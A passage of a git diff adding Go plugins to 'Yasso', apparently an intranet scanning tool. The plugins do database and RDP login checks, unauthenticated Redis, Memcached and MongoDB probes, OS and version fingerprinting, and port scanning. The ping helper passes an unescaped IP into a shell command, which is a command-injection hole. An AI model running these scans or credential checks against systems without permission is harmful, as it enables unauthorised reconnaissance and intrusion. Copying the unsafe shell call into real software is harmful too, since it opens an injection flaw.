||||
"Yasso/core/logger"
|
||||
"Yasso/pkg/grdp"
|
||||
"Yasso/pkg/grdp/glog"
|
||||
"bytes"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"net"
|
||||
)
|
||||
|
||||
func RdpConn(info config.ServiceConn, user, pass string) (bool, error) {
|
||||
var err error
|
||||
var host = fmt.Sprintf("%v:%v", info.Hostname, info.Port)
|
||||
g := grdp.NewClient(host, glog.NONE)
|
||||
//SSL协议登录测试
|
||||
err = g.LoginForSSL(info.Domain, user, pass)
|
||||
if err == nil {
|
||||
return true, nil
|
||||
}
|
||||
if err.Error() != "PROTOCOL_RDP" {
|
||||
return false, err
|
||||
}
|
||||
//RDP协议登录测试
|
||||
err = g.LoginForRDP(info.Domain, user, pass)
|
||||
if err == nil {
|
||||
return true, nil
|
||||
} else {
|
||||
return false, nil
|
||||
}
|
||||
}
|
||||
|
||||
func VersionRdp(info config.ServiceConn, user, pass string) (bool, string) {
|
||||
conn, err := net.DialTimeout("tcp", fmt.Sprintf("%v:%v", info.Hostname, info.Port), info.Timeout)
|
||||
if err != nil {
|
||||
return false, ""
|
||||
}
|
||||
msg := "\x03\x00\x00\x2b\x26\xe0\x00\x00\x00\x00\x00\x43\x6f\x6f\x6b\x69\x65\x3a\x20\x6d\x73\x74\x73\x68\x61\x73\x68\x3d\x75\x73\x65\x72\x30\x0d\x0a\x01\x00\x08\x00\x00\x00\x00\x00"
|
||||
_, err = conn.Write([]byte(msg))
|
||||
if err != nil {
|
||||
return false, ""
|
||||
}
|
||||
reply := make([]byte, 256)
|
||||
_, _ = conn.Read(reply)
|
||||
if conn != nil {
|
||||
_ = conn.Close()
|
||||
}
|
||||
|
||||
var buffer [256]byte
|
||||
if bytes.Equal(reply[:], buffer[:]) {
|
||||
return false, ""
|
||||
} else if hex.EncodeToString(reply[0:8]) != "030000130ed00000" {
|
||||
return false, ""
|
||||
}
|
||||
|
||||
os := map[string]string{}
|
||||
os["030000130ed000001234000209080000000000"] = "Windows 7/Windows Server 2008 R2"
|
||||
os["030000130ed000001234000200080000000000"] = "Windows 7/Windows Server 2008"
|
||||
os["030000130ed000001234000201080000000000"] = "Windows Server 2008 R2"
|
||||
os["030000130ed000001234000207080000000000"] = "Windows 8/Windows server 2012"
|
||||
os["030000130ed00000123400020f080000000000"] = "Windows 8.1/Windows Server 2012 R2"
|
||||
os["030000130ed000001234000300080001000000"] = "Windows 10/Windows Server 2016"
|
||||
os["030000130ed000001234000300080005000000"] = "Windows 10/Windows 11/Windows Server 2019"
|
||||
var banner string
|
||||
for k, v := range os {
|
||||
if k == hex.EncodeToString(reply[0:19]) {
|
||||
banner = v
|
||||
logger.Info(fmt.Sprintf("%v [%v]", fmt.Sprintf("%v:%v", info.Hostname, info.Port), banner))
|
||||
return true, fmt.Sprintf("%v [%v]", fmt.Sprintf("%v:%v", info.Hostname, info.Port), banner)
|
||||
}
|
||||
}
|
||||
banner = hex.EncodeToString(reply[0:19])
|
||||
_ = reply
|
||||
logger.Info(fmt.Sprintf("%v [%v]", fmt.Sprintf("%v:%v", info.Hostname, info.Port), banner))
|
||||
return true, fmt.Sprintf("%v [%v]", fmt.Sprintf("%v:%v", info.Hostname, info.Port), banner)
|
||||
}
|
||||
88
core/plugin/icmp.go
Normal file
88
core/plugin/icmp.go
Normal file
@@ -0,0 +1,88 @@
|
||||
package plugin
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"net"
|
||||
"os/exec"
|
||||
"runtime"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func ping(ip string) bool {
|
||||
var cmd *exec.Cmd
|
||||
switch runtime.GOOS {
|
||||
case "windows":
|
||||
cmd = exec.Command("cmd", "/c", "ping -n 1 -w 1 "+ip+" && echo true || echo false")
|
||||
case "linux":
|
||||
cmd = exec.Command("/bin/bash", "-c", "ping -c 1 -w 1 "+ip+" >/dev/null && echo true || echo false")
|
||||
case "darwin":
|
||||
cmd = exec.Command("/bin/bash", "-c", "ping -c 1 "+ip+" >/dev/null && echo true || echo false")
|
||||
default:
|
||||
cmd = exec.Command("/bin/bash", "-c", "ping -c 1"+ip+" >/dev/null && echo true || echo false")
|
||||
}
|
||||
info := bytes.Buffer{}
|
||||
cmd.Stdout = &info
|
||||
err := cmd.Start()
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
if err = cmd.Wait(); err != nil {
|
||||
return false
|
||||
} else {
|
||||
if strings.Contains(info.String(), "true") {
|
||||
return true
|
||||
} else {
|
||||
return false
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func icmp(host string) bool {
|
||||
conn, err := net.DialTimeout("ip4:icmp", host, 1*time.Second)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
defer func() {
|
||||
_ = conn.Close()
|
||||
}()
|
||||
if err := conn.SetDeadline(time.Now().Add(1 * time.Second)); err != nil {
|
||||
return false
|
||||
}
|
||||
msg := packet(host)
|
||||
if _, err := conn.Write(msg); err != nil {
|
||||
return false
|
||||
}
|
||||
var receive = make([]byte, 60)
|
||||
if _, err := conn.Read(receive); err != nil {
|
||||
return false
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func packet(host string) []byte {
|
||||
var msg = make([]byte, 40)
|
||||
msg[0] = 8
|
||||
msg[1] = 0
|
||||
msg[2] = 0
|
||||
msg[3] = 0
|
||||
msg[4], msg[5] = host[0], host[1]
|
||||
msg[6], msg[7] = byte(1>>8), byte(1&255)
|
||||
msg[2] = byte(checksum(msg[0:40]) >> 8)
|
||||
msg[3] = byte(checksum(msg[0:40]) & 255)
|
||||
return msg
|
||||
}
|
||||
|
||||
func checksum(msg []byte) uint16 {
|
||||
var sum = 0
|
||||
var length = len(msg)
|
||||
for i := 0; i < length-1; i += 2 {
|
||||
sum += int(msg[i])*256 + int(msg[i+1])
|
||||
}
|
||||
if length%2 == 1 {
|
||||
sum += int(msg[length-1]) * 256
|
||||
}
|
||||
sum = (sum >> 16) + (sum & 0xffff)
|
||||
sum = sum + (sum >> 16)
|
||||
return uint16(^sum)
|
||||
}
|
||||
39
core/plugin/memcache.go
Normal file
39
core/plugin/memcache.go
Normal file
@@ -0,0 +1,39 @@
|
||||
package plugin
|
||||
|
||||
import (
|
||||
"Yasso/config"
|
||||
"Yasso/core/logger"
|
||||
"bytes"
|
||||
"fmt"
|
||||
"net"
|
||||
"time"
|
||||
)
|
||||
|
||||
func MemcacheConn(info config.ServiceConn, user, pass string) (bool, error) {
|
||||
client, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%v", info.Hostname, info.Port), info.Timeout)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
defer func() {
|
||||
if client != nil {
|
||||
client.Close()
|
||||
}
|
||||
}()
|
||||
if err == nil {
|
||||
err = client.SetDeadline(time.Now().Add(time.Duration(info.Timeout)))
|
||||
if err == nil {
|
||||
_, err = client.Write([]byte("stats\n")) //Set the key randomly to prevent the key on the server from being overwritten
|
||||
if err == nil {
|
||||
reply := make([]byte, 1024)
|
||||
n, err := client.Read(reply)
|
||||
if err == nil {
|
||||
if bytes.Contains(reply[:n], []byte("STAT")) {
|
||||
logger.Success(fmt.Sprintf("Memcached %s unauthorized", fmt.Sprintf("%s:%v", info.Hostname, info.Port)))
|
||||
return true, nil
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return false, err
|
||||
}
|
||||
83
core/plugin/mongo.go
Normal file
83
core/plugin/mongo.go
Normal file
@@ -0,0 +1,83 @@
|
||||
package plugin
|
||||
|
||||
import (
|
||||
"Yasso/config"
|
||||
"Yasso/core/logger"
|
||||
"fmt"
|
||||
"gopkg.in/mgo.v2"
|
||||
"net"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func MongoAuth(info config.ServiceConn, user, pass string) (*mgo.Session, bool, error) {
|
||||
|
||||
conf := &mgo.DialInfo{
|
||||
Dial: func(addr net.Addr) (net.Conn, error) {
|
||||
return net.DialTimeout("tcp", addr.String(), info.Timeout)
|
||||
},
|
||||
Addrs: []string{fmt.Sprintf("%s:%d", info.Hostname, info.Port)},
|
||||
Timeout: info.Timeout,
|
||||
Database: "test",
|
||||
Source: "admin",
|
||||
Username: user,
|
||||
Password: pass,
|
||||
PoolLimit: 4096,
|
||||
Direct: false,
|
||||
}
|
||||
db, err := mgo.DialWithInfo(conf)
|
||||
if err == nil {
|
||||
err = db.Ping()
|
||||
if err != nil {
|
||||
return nil, false, err
|
||||
}
|
||||
return db, true, nil
|
||||
}
|
||||
return nil, false, err
|
||||
}
|
||||
|
||||
func MongoUnAuth(info config.ServiceConn, user, pass string) (bool, error) {
|
||||
var flag = false
|
||||
data1 := []byte{58, 0, 0, 0, 167, 65, 0, 0, 0, 0, 0, 0, 212, 7, 0, 0, 0, 0, 0, 0, 97, 100, 109, 105, 110, 46, 36, 99, 109, 100, 0, 0, 0, 0, 0, 255, 255, 255, 255, 19, 0, 0, 0, 16, 105, 115, 109, 97, 115, 116, 101, 114, 0, 1, 0, 0, 0, 0}
|
||||
data2 := []byte{72, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 212, 7, 0, 0, 0, 0, 0, 0, 97, 100, 109, 105, 110, 46, 36, 99, 109, 100, 0, 0, 0, 0, 0, 1, 0, 0, 0, 33, 0, 0, 0, 2, 103, 101, 116, 76, 111, 103, 0, 16, 0, 0, 0, 115, 116, 97, 114, 116, 117, 112, 87, 97, 114, 110, 105, 110, 103, 115, 0, 0}
|
||||
connString := fmt.Sprintf("%s:%v", info.Hostname, info.Port)
|
||||
conn, err := net.DialTimeout("tcp", connString, info.Timeout)
|
||||
defer func() {
|
||||
if conn != nil {
|
||||
conn.Close()
|
||||
}
|
||||
}()
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
err = conn.SetReadDeadline(time.Now().Add(time.Duration(info.Timeout)))
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
_, err = conn.Write(data1)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
reply := make([]byte, 1024)
|
||||
count, err := conn.Read(reply)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
text := string(reply[0:count])
|
||||
if strings.Contains(text, "ismaster") {
|
||||
_, err = conn.Write(data2)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
count, err := conn.Read(reply)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
text := string(reply[0:count])
|
||||
if strings.Contains(text, "totalLinesWritten") {
|
||||
flag = true
|
||||
logger.Success(fmt.Sprintf("Mongodb %v unauthorized", info.Hostname))
|
||||
}
|
||||
}
|
||||
return flag, nil
|
||||
}
|
||||
78
core/plugin/mssql.go
Normal file
78
core/plugin/mssql.go
Normal file
@@ -0,0 +1,78 @@
|
||||
package plugin
|
||||
|
||||
import (
|
||||
"Yasso/config"
|
||||
"Yasso/core/logger"
|
||||
"bytes"
|
||||
"database/sql"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
_ "github.com/denisenkom/go-mssqldb"
|
||||
"net"
|
||||
"strconv"
|
||||
"time"
|
||||
)
|
||||
|
||||
func MssqlConn(info config.ServiceConn, user, pass string) (*sql.DB, bool, error) {
|
||||
var flag = false
|
||||
db, err := sql.Open("mssql", fmt.Sprintf("sqlserver://%v:%v@%v:%v/?connection&timeout=%v&encrypt=disable", user, pass, info.Hostname, info.Port, info.Timeout))
|
||||
if err == nil {
|
||||
db.SetConnMaxLifetime(time.Duration(info.Timeout))
|
||||
db.SetConnMaxIdleTime(time.Duration(info.Timeout))
|
||||
db.SetMaxIdleConns(0)
|
||||
err = db.Ping()
|
||||
if err == nil {
|
||||
flag = true
|
||||
return db, flag, nil
|
||||
}
|
||||
}
|
||||
return db, flag, err
|
||||
}
|
||||
|
||||
func VersionMssql(info config.ServiceConn) (bool, string) {
|
||||
conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%v", info.Hostname, info.Port), info.Timeout)
|
||||
if err != nil {
|
||||
return false, ""
|
||||
}
|
||||
|
||||
msg := "\x12\x01\x00\x34\x00\x00\x00\x00\x00\x00\x15\x00\x06\x01\x00\x1b\x00\x01\x02\x00\x1c\x00\x0c\x03\x00\x28\x00\x04\xff\x08\x00\x01\x55\x00\x00\x02\x4d\x53\x53\x51\x4c\x53\x65\x72\x76\x65\x72\x00\x00\x00\x31\x32"
|
||||
_, err = conn.Write([]byte(msg))
|
||||
if err != nil {
|
||||
return false, ""
|
||||
}
|
||||
reply := make([]byte, 256)
|
||||
_, _ = conn.Read(reply)
|
||||
if conn != nil {
|
||||
_ = conn.Close()
|
||||
}
|
||||
|
||||
var buffer [256]byte
|
||||
if bytes.Equal(reply[:], buffer[:]) {
|
||||
return false, ""
|
||||
} else if hex.EncodeToString(reply[0:4]) != "04010025" {
|
||||
return false, ""
|
||||
}
|
||||
v, status := getVersion(reply)
|
||||
if status {
|
||||
logger.Info(fmt.Sprintf("%s:%v [version:%v][mssql]", info.Hostname, info.Port, v))
|
||||
return true, fmt.Sprintf("%s:%v [version:%v]", info.Hostname, info.Port, v)
|
||||
}
|
||||
return false, ""
|
||||
}
|
||||
|
||||
func getVersion(reply []byte) (string, bool) {
|
||||
m, err := strconv.ParseUint(hex.EncodeToString(reply[29:30]), 16, 32)
|
||||
if err != nil {
|
||||
return "", false
|
||||
}
|
||||
s, err := strconv.ParseUint(hex.EncodeToString(reply[30:31]), 16, 32)
|
||||
if err != nil {
|
||||
return "", false
|
||||
}
|
||||
r, err := strconv.ParseUint(hex.EncodeToString(reply[31:33]), 16, 32)
|
||||
if err != nil {
|
||||
return "", false
|
||||
}
|
||||
v := fmt.Sprintf("%d.%d.%d", m, s, r)
|
||||
return v, true
|
||||
}
|
||||
25
core/plugin/mysql.go
Normal file
25
core/plugin/mysql.go
Normal file
@@ -0,0 +1,25 @@
|
||||
package plugin
|
||||
|
||||
import (
|
||||
"Yasso/config"
|
||||
"database/sql"
|
||||
"fmt"
|
||||
_ "github.com/go-sql-driver/mysql"
|
||||
"time"
|
||||
)
|
||||
|
||||
func MySQLConn(info config.ServiceConn, user, pass string) (*sql.DB, bool, error) {
|
||||
var flag = false
|
||||
address := fmt.Sprintf("%v:%v@tcp(%v:%v)/mysql?charset=utf8&timeout=%v", user, pass, info.Hostname, info.Port, info.Timeout)
|
||||
db, err := sql.Open("mysql", address)
|
||||
if err == nil {
|
||||
db.SetConnMaxLifetime(time.Duration(info.Timeout))
|
||||
db.SetConnMaxIdleTime(time.Duration(info.Timeout))
|
||||
//defer db.Close()
|
||||
err = db.Ping()
|
||||
if err == nil {
|
||||
flag = true
|
||||
}
|
||||
}
|
||||
return db, flag, err
|
||||
}
|
||||
134
core/plugin/nbnsscan.go
Normal file
134
core/plugin/nbnsscan.go
Normal file
@@ -0,0 +1,134 @@
|
||||
package plugin
|
||||
|
||||
import (
|
||||
"Yasso/core/logger"
|
||||
"bytes"
|
||||
"fmt"
|
||||
"net"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func NbnsScanConn(host string, port int, timeout time.Duration) (bool, string) {
|
||||
conn, err := net.DialTimeout("udp", fmt.Sprintf("%v:%v", host, port), timeout)
|
||||
if err != nil {
|
||||
return false, ""
|
||||
}
|
||||
msg := []byte{
|
||||
0x0, 0x00, 0x0, 0x10, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x20, 0x43, 0x4b, 0x41, 0x41,
|
||||
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
|
||||
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x0, 0x0,
|
||||
0x21, 0x0, 0x1,
|
||||
}
|
||||
_, err = conn.Write(msg)
|
||||
if err != nil {
|
||||
if conn != nil {
|
||||
_ = conn.Close()
|
||||
}
|
||||
return false, ""
|
||||
}
|
||||
reply := make([]byte, 256)
|
||||
err = conn.SetDeadline(time.Now().Add(time.Duration(timeout)))
|
||||
if err != nil {
|
||||
if conn != nil {
|
||||
_ = conn.Close()
|
||||
}
|
||||
return false, ""
|
||||
}
|
||||
_, _ = conn.Read(reply)
|
||||
if conn != nil {
|
||||
_ = conn.Close()
|
||||
}
|
||||
|
||||
var buffer [256]byte
|
||||
if bytes.Equal(reply[:], buffer[:]) {
|
||||
return false, ""
|
||||
}
|
||||
/*
|
||||
Re: https://en.wikipedia.org/wiki/NetBIOS#NetBIOS_Suffixes
|
||||
For unique names:
|
||||
00: Workstation Service (workstation name)
|
||||
03: Windows Messenger service
|
||||
06: Remote Access Service
|
||||
20: File Service (also called Host Record)
|
||||
21: Remote Access Service client
|
||||
1B: Domain Master Browser – Primary Domain Controller for a domain
|
||||
1D: Master Browser
|
||||
For group names:
|
||||
00: Workstation Service (workgroup/domain name)
|
||||
1C: Domain Controllers for a domain (group record with up to 25 IP addresses)
|
||||
1E: Browser Service Elections
|
||||
*/
|
||||
var n int
|
||||
NumberFoNames, _ := strconv.Atoi(convert([]byte{reply[56:57][0]}[:]))
|
||||
var flagGroup string
|
||||
var flagUnique string
|
||||
var flagDC string
|
||||
|
||||
for i := 0; i < NumberFoNames; i++ {
|
||||
data := reply[n+57+18*i : n+57+18*i+18]
|
||||
if string(data[16:17]) == "\x84" || string(data[16:17]) == "\xC4" {
|
||||
if string(data[15:16]) == "\x1C" {
|
||||
flagDC = "Domain Controllers"
|
||||
}
|
||||
if string(data[15:16]) == "\x00" {
|
||||
flagGroup = nbnsByteToStringParse(data[0:16])
|
||||
}
|
||||
if string(data[14:16]) == "\x02\x01" {
|
||||
flagGroup = nbnsByteToStringParse(data[0:16])
|
||||
}
|
||||
} else if string(data[16:17]) == "\x04" || string(data[16:17]) == "\x44" || string(data[16:17]) == "\x64" {
|
||||
if string(data[15:16]) == "\x1C" {
|
||||
flagDC = "Domain Controllers"
|
||||
}
|
||||
if string(data[15:16]) == "\x00" {
|
||||
flagUnique = nbnsByteToStringParse(data[0:16])
|
||||
}
|
||||
if string(data[15:16]) == "\x20" {
|
||||
flagUnique = nbnsByteToStringParse(data[0:16])
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
if flagGroup == "" && flagUnique == "" {
|
||||
return false, ""
|
||||
}
|
||||
|
||||
result := make(map[string]interface{})
|
||||
result["banner.string"] = flagGroup + "\\" + flagUnique
|
||||
result["identify.string"] = fmt.Sprintf("[%s]", logger.LightRed(flagDC))
|
||||
if len(flagDC) != 0 {
|
||||
result["identify.bool"] = true
|
||||
} else {
|
||||
result["identify.bool"] = false
|
||||
}
|
||||
if result["identify.bool"] == true {
|
||||
logger.Success(fmt.Sprintf("[%s] %v %v", fmt.Sprintf("%v:%v", host, port), result["banner.string"], result["identify.string"]))
|
||||
} else {
|
||||
logger.Success(fmt.Sprintf("[%s] %v", fmt.Sprintf("%v:%v", host, port), result["banner.string"]))
|
||||
}
|
||||
|
||||
return true, fmt.Sprintf("%v", result["banner.string"])
|
||||
}
|
||||
|
||||
func convert(b []byte) string {
|
||||
s := make([]string, len(b))
|
||||
for i := range b {
|
||||
s[i] = strconv.Itoa(int(b[i]))
|
||||
}
|
||||
return strings.Join(s, "")
|
||||
}
|
||||
|
||||
func nbnsByteToStringParse(p []byte) string {
|
||||
var w []string
|
||||
var res string
|
||||
for i := 0; i < len(p); i++ {
|
||||
if p[i] > 32 && p[i] < 127 {
|
||||
w = append(w, string(p[i]))
|
||||
continue
|
||||
}
|
||||
}
|
||||
res = strings.Join(w, "")
|
||||
return res
|
||||
}
|
||||
77
core/plugin/oxidscan.go
Normal file
77
core/plugin/oxidscan.go
Normal file
@@ -0,0 +1,77 @@
|
||||
package plugin
|
||||
|
||||
import (
|
||||
"Yasso/core/logger"
|
||||
"bytes"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"net"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func OxidScanConn(host string, port int, timeout time.Duration) (bool, string) {
|
||||
conn, err := net.DialTimeout("tcp", fmt.Sprintf("%v:%v", host, port), timeout)
|
||||
if err != nil {
|
||||
return false, ""
|
||||
}
|
||||
|
||||
msg1 := "\x05\x00\x0b\x03\x10\x00\x00\x00\x48\x00\x00\x00\x01\x00\x00\x00\xf8\x0f\xf8\x0f\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00\xc4\xfe\xfc\x99\x60\x52\x1b\x10\xbb\xcb\x00\xaa\x00\x21\x34\x7a\x00\x00\x00\x00\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00\x2b\x10\x48\x60\x02\x00\x00\x00"
|
||||
msg2 := "\x05\x00\x00\x03\x10\x00\x00\x00\x18\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00"
|
||||
_, err = conn.Write([]byte(msg1))
|
||||
if err != nil {
|
||||
return false, ""
|
||||
}
|
||||
reply1 := make([]byte, 256)
|
||||
_, _ = conn.Read(reply1)
|
||||
|
||||
if hex.EncodeToString(reply1[0:8]) != "05000c0310000000" {
|
||||
return false, ""
|
||||
}
|
||||
|
||||
_, err = conn.Write([]byte(msg2))
|
||||
if err != nil {
|
||||
return false, ""
|
||||
}
|
||||
|
||||
reply2 := make([]byte, 512)
|
||||
_, _ = conn.Read(reply2)
|
||||
if conn != nil {
|
||||
_ = conn.Close()
|
||||
}
|
||||
c := 0
|
||||
zero := make([]byte, 1)
|
||||
var buffer bytes.Buffer
|
||||
result := make(map[string]string)
|
||||
for i := 0; i < len(reply2[42:]); {
|
||||
b := reply2[42:][i : i+2]
|
||||
i += 2
|
||||
if 42+i == len(reply2[42:]) {
|
||||
break
|
||||
}
|
||||
if string(b) == "\x09\x00" {
|
||||
break
|
||||
}
|
||||
if string(b) == "\x07\x00" {
|
||||
c += 1
|
||||
if c == 6 {
|
||||
break
|
||||
}
|
||||
buffer.Write([]byte("\x7C\x7C"))
|
||||
result["banner.string"] = strings.Join([]string{string(buffer.Bytes())}, ",")
|
||||
continue
|
||||
}
|
||||
if bytes.Equal(b[0:1], zero[0:1]) {
|
||||
continue
|
||||
}
|
||||
buffer.Write(b[0:1])
|
||||
result["banner.string"] = strings.Join([]string{string(buffer.Bytes())}, ",")
|
||||
if c == 6 {
|
||||
break
|
||||
}
|
||||
}
|
||||
if len(strings.Split(result["banner.string"], "||")) > 0 {
|
||||
logger.Success(strings.Split(result["banner.string"], "||"))
|
||||
}
|
||||
return true, fmt.Sprintf("%v", strings.Split(result["banner.string"], "||"))
|
||||
}
|
||||
22
core/plugin/postgres.go
Normal file
22
core/plugin/postgres.go
Normal file
@@ -0,0 +1,22 @@
|
||||
package plugin
|
||||
|
||||
import (
|
||||
"Yasso/config"
|
||||
"database/sql"
|
||||
"fmt"
|
||||
"time"
|
||||
)
|
||||
|
||||
func PostgreConn(info config.ServiceConn, user, pass string) (bool, error) {
|
||||
var flag = false
|
||||
db, err := sql.Open("postgres", fmt.Sprintf("postgres://%v:%v@%v:%v/%v?sslmode=%v", user, pass, info.Hostname, info.Port, "postgres", "disable"))
|
||||
if err == nil {
|
||||
db.SetConnMaxLifetime(time.Duration(info.Timeout))
|
||||
defer db.Close()
|
||||
err = db.Ping()
|
||||
if err == nil {
|
||||
flag = true
|
||||
}
|
||||
}
|
||||
return flag, err
|
||||
}
|
||||
64
core/plugin/ps.go
Normal file
64
core/plugin/ps.go
Normal file
@@ -0,0 +1,64 @@
|
||||
package plugin
|
||||
|
||||
import (
|
||||
"Yasso/core/logger"
|
||||
"fmt"
|
||||
"net"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
type Scanner struct {
|
||||
ports []int
|
||||
ip string
|
||||
scanChannel chan int
|
||||
thread int
|
||||
scan func(ip string, port int) bool
|
||||
}
|
||||
|
||||
func NewRunner(ports []int, ip string, thread int, scan func(ip string, port int) bool) *Scanner {
|
||||
return &Scanner{
|
||||
ports: ports,
|
||||
ip: ip,
|
||||
scanChannel: make(chan int, 1000),
|
||||
thread: thread,
|
||||
scan: scan,
|
||||
}
|
||||
}
|
||||
|
||||
func (s *Scanner) RunEnumeration() []int {
|
||||
var wg sync.WaitGroup
|
||||
var re []int
|
||||
for i := 0; i < s.thread; i++ {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
for p := range s.scanChannel {
|
||||
if s.scan(s.ip, p) {
|
||||
logger.Info(fmt.Sprintf("%v:%v is open", s.ip, p))
|
||||
re = append(re, p)
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
for _, p := range s.ports {
|
||||
s.scanChannel <- p
|
||||
}
|
||||
close(s.scanChannel)
|
||||
wg.Wait()
|
||||
return re
|
||||
}
|
||||
|
||||
func tcpConn(ip string, port int) bool {
|
||||
conn, err := net.DialTimeout("tcp", fmt.Sprintf("%v:%v", ip, port), 100*time.Millisecond)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
conn.Close()
|
||||
return true
|
||||
}
|
||||
|
||||
//TODO: 暂定,目前还没有syn扫描方式
|
||||
func synConn(ip string, port int) bool {
|
||||
return true
|
||||
}
|
||||
105
core/plugin/redis.go
Normal file
105
core/plugin/redis.go
Normal file
@@ -0,0 +1,105 @@
|
||||
package plugin
|
||||
|
||||
import (
|
||||
"Yasso/config"
|
||||
"Yasso/core/logger"
|
||||
"fmt"
|
||||
"net"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func RedisAuthConn(info config.ServiceConn, user, pass string) (net.Conn, bool, error) {
|
||||
var flag = false
|
||||
conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%v", info.Hostname, info.Port), info.Timeout)
|
||||
if err != nil {
|
||||
return conn, false, err
|
||||
}
|
||||
err = conn.SetReadDeadline(time.Now().Add(time.Duration(info.Timeout)))
|
||||
if err != nil {
|
||||
return conn, false, err
|
||||
}
|
||||
// 认证
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("auth %s\r\n", pass)))
|
||||
if err != nil {
|
||||
return conn, false, err
|
||||
}
|
||||
reply, err := RedisReply(conn)
|
||||
if err != nil {
|
||||
return conn, false, err
|
||||
}
|
||||
if strings.Contains(reply, "+OK") {
|
||||
flag = true
|
||||
dbfilename := redisInfo(conn, reply)
|
||||
logger.Info(fmt.Sprintf("Redis %s:%v Login Success dbfilename:[%v]", info.Hostname, info.Port, dbfilename))
|
||||
}
|
||||
return conn, flag, nil
|
||||
}
|
||||
|
||||
func RedisUnAuthConn(info config.ServiceConn, user, pass string) (net.Conn, bool, error) {
|
||||
_, _ = user, pass
|
||||
var flag = false
|
||||
conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%v", info.Hostname, info.Port), info.Timeout)
|
||||
if err != nil {
|
||||
return conn, false, err
|
||||
}
|
||||
err = conn.SetReadDeadline(time.Now().Add(time.Duration(info.Timeout)))
|
||||
if err != nil {
|
||||
return conn, false, err
|
||||
}
|
||||
_, err = conn.Write([]byte("info\r\n"))
|
||||
if err != nil {
|
||||
return conn, false, err
|
||||
}
|
||||
reply, err := RedisReply(conn)
|
||||
if err != nil {
|
||||
return conn, false, err
|
||||
}
|
||||
if strings.Contains(reply, "redis_version") {
|
||||
flag = true
|
||||
dbfilename := redisInfo(conn, reply)
|
||||
logger.Success(fmt.Sprintf("Redis %s:%v unauthorized dbfilename:[%v] ", info.Hostname, info.Port, dbfilename))
|
||||
}
|
||||
return conn, flag, nil
|
||||
}
|
||||
|
||||
func RedisReply(conn net.Conn) (string, error) {
|
||||
var (
|
||||
r string
|
||||
err error
|
||||
)
|
||||
buf := make([]byte, 5*1024)
|
||||
for {
|
||||
count, err := conn.Read(buf)
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
r += string(buf[0:count])
|
||||
if count < 5*1024 {
|
||||
break
|
||||
}
|
||||
}
|
||||
return r, err
|
||||
}
|
||||
|
||||
func redisInfo(conn net.Conn, reply string) string {
|
||||
var (
|
||||
dbfilename string
|
||||
)
|
||||
// 读取filename
|
||||
_, err := conn.Write([]byte(fmt.Sprintf("CONFIG GET dbfilename\r\n")))
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
text, err := RedisReply(conn)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
text1 := strings.Split(text, "\r\n")
|
||||
if len(text1) > 2 {
|
||||
dbfilename = text1[len(text1)-2]
|
||||
} else {
|
||||
dbfilename = text1[0]
|
||||
}
|
||||
return dbfilename
|
||||
}
|
||||
58
core/plugin/rmi.go
Normal file
58
core/plugin/rmi.go
Normal file
@@ -0,0 +1,58 @@
|
||||
package plugin
|
||||
|
||||
import (
|
||||
"Yasso/config"
|
||||
"Yasso/core/logger"
|
||||
"bytes"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"net"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// RMIConn 识别rmi服务方式
|
||||
func RMIConn(info config.ServiceConn, user, pass string) bool {
|
||||
conn, err := net.DialTimeout("tcp", fmt.Sprintf("%v:%v", info.Hostname, info.Port), info.Timeout)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
msg := "\x4a\x52\x4d\x49\x00\x02\x4b"
|
||||
_, err = conn.Write([]byte(msg))
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
reply := make([]byte, 256)
|
||||
_, _ = conn.Read(reply)
|
||||
if conn != nil {
|
||||
_ = conn.Close()
|
||||
}
|
||||
var buffer [256]byte
|
||||
if bytes.Equal(reply[:], buffer[:]) {
|
||||
return false
|
||||
